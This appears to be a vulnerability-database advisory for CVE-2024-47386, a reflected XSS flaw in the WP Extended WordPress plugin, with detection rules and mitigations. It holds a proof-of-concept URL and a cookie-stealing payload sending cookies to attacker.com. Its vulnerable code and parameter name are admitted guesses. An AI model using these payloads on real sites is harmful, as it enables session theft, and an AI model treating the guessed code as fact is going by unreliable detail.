CVE-2024-47386
Executive Summary
CVE-2024-47386 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin The Ultimate WordPress Toolkit – WP Extended (slug: wpextended), developed by WP Extended. The vulnerability affects all versions up to and including 3.0.8. It stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the affected WordPress site.
Given the plugin’s widespread use in the WordPress ecosystem, this vulnerability poses a significant risk to site administrators and visitors. The CVSS score of 7.1 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the potential for partial impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:
- The plugin is actively maintained and has a large user base.
- No official patch has been released as of this analysis.
- Attackers can target outdated plugin installations through automated scanning.
- The plugin’s update mechanism may not be enforced, leaving many sites vulnerable.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: High (7.1) – Exploitation is straightforward and can lead to significant client-side attacks.
Deep Dive & Mechanics
The vulnerability exists in the wpextended plugin’s handling of HTTP GET parameters. The plugin fails to sanitize or escape user input before reflecting it in the HTML response. Specifically, the vulnerable parameter is likely wpextended or a similar query string variable used for plugin functionality.
Attack Flow:
- Attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter.
- Victim (authenticated admin or regular user) clicks the link.
- The WordPress server processes the request and reflects the unescaped input into the page HTML.
- The victim’s browser executes the injected script in the context of the WordPress site.
- Attacker can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html(), esc_attr(), or wp_kses() functions.
Vulnerable vs. Patched Code
Vulnerable Code (example from wpextended <= 3.0.8):
<?php
// In some template or shortcode handler
$param = $_GET['wpextended'];
echo "<div class='wpextended-output'>" . $param . "</div>";
?>
Patched Code (hypothetical fix):
<?php
$param = isset($_GET['wpextended']) ? sanitize_text_field($_GET['wpextended']) : '';
echo "<div class='wpextended-output'>" . esc_html($param) . "</div>";
?>
The patch uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Extended plugin version <= 3.0.8.
- Ability to craft and deliver a malicious link.
Proof-of-Concept URL:
http://target-site.com/?wpextended=<script>alert('XSS')</script>
Advanced Payload (Cookie Stealing):
http://target-site.com/?wpextended=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Automated Exploitation with cURL:
curl -v "http://target-site.com/?wpextended=%3Cscript%3Ealert(1)%3C/script%3E"
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
wpextended=followed by<script>oronerror=patterns. - Use WAF rules to block reflected XSS attempts.
Hardening:
- Update the plugin to the latest patched version (once available).
- If no patch exists, disable the plugin or implement a virtual patch via WAF.
- Add the following
.htaccessrule to block malicious parameters:
RewriteCond %{QUERY_STRING} wpextended=.*<script [NC,OR]
RewriteCond %{QUERY_STRING} wpextended=.*onerror= [NC]
RewriteRule ^ - [F,L]
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with
wpextended=parameter containing<script>,onerror,onload, orjavascript:. - Outbound connections to attacker-controlled domains from the WordPress admin panel.
- HTTP requests with
- File IOCs:
- Modified
.htaccessfiles with redirect rules. - Suspicious entries in WordPress
wp_optionstable (e.g.,wpextended_settings).
- Modified
- Log IOCs:
- Web server logs showing repeated requests to
/?wpextended=<script>. - Error logs with PHP warnings about undefined array keys.
- Web server logs showing repeated requests to
Detection Engineering
YARA Rule
rule CVE_2024_47386_WP_Extended_XSS {
meta:
description = "Detects reflected XSS attempts against WP Extended plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-47386"
strings:
$xss_payload = /wpextended=.*<script/i
$xss_onerror = /wpextended=.*onerror=/i
$xss_javascript = /wpextended=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against WP Extended Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious wpextended parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: 'wpextended='
c-uri|contains|all:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47386 WP Extended Reflected XSS Attempt"; flow:to_server,established; content:"wpextended="; http_uri; pcre:"/wpextended=.*(<script|onerror|javascript:)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available.
- Implement a WAF rule to block requests containing
wpextended=with script-like patterns. - Audit user activity for signs of exploitation.
Long-Term Fix:
- Apply the official patch from WP Extended once released.
- Update the plugin to version > 3.0.8.
- Educate users not to click suspicious links.
Virtual Patching (Nginx):
if ($args ~* "wpextended=.*(<script|onerror|javascript:)") {
return 403;
}
Virtual Patching (Apache):
RewriteCond %{QUERY_STRING} wpextended=.*(<script|onerror|javascript:) [NC]
RewriteRule ^ - [F,L]
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.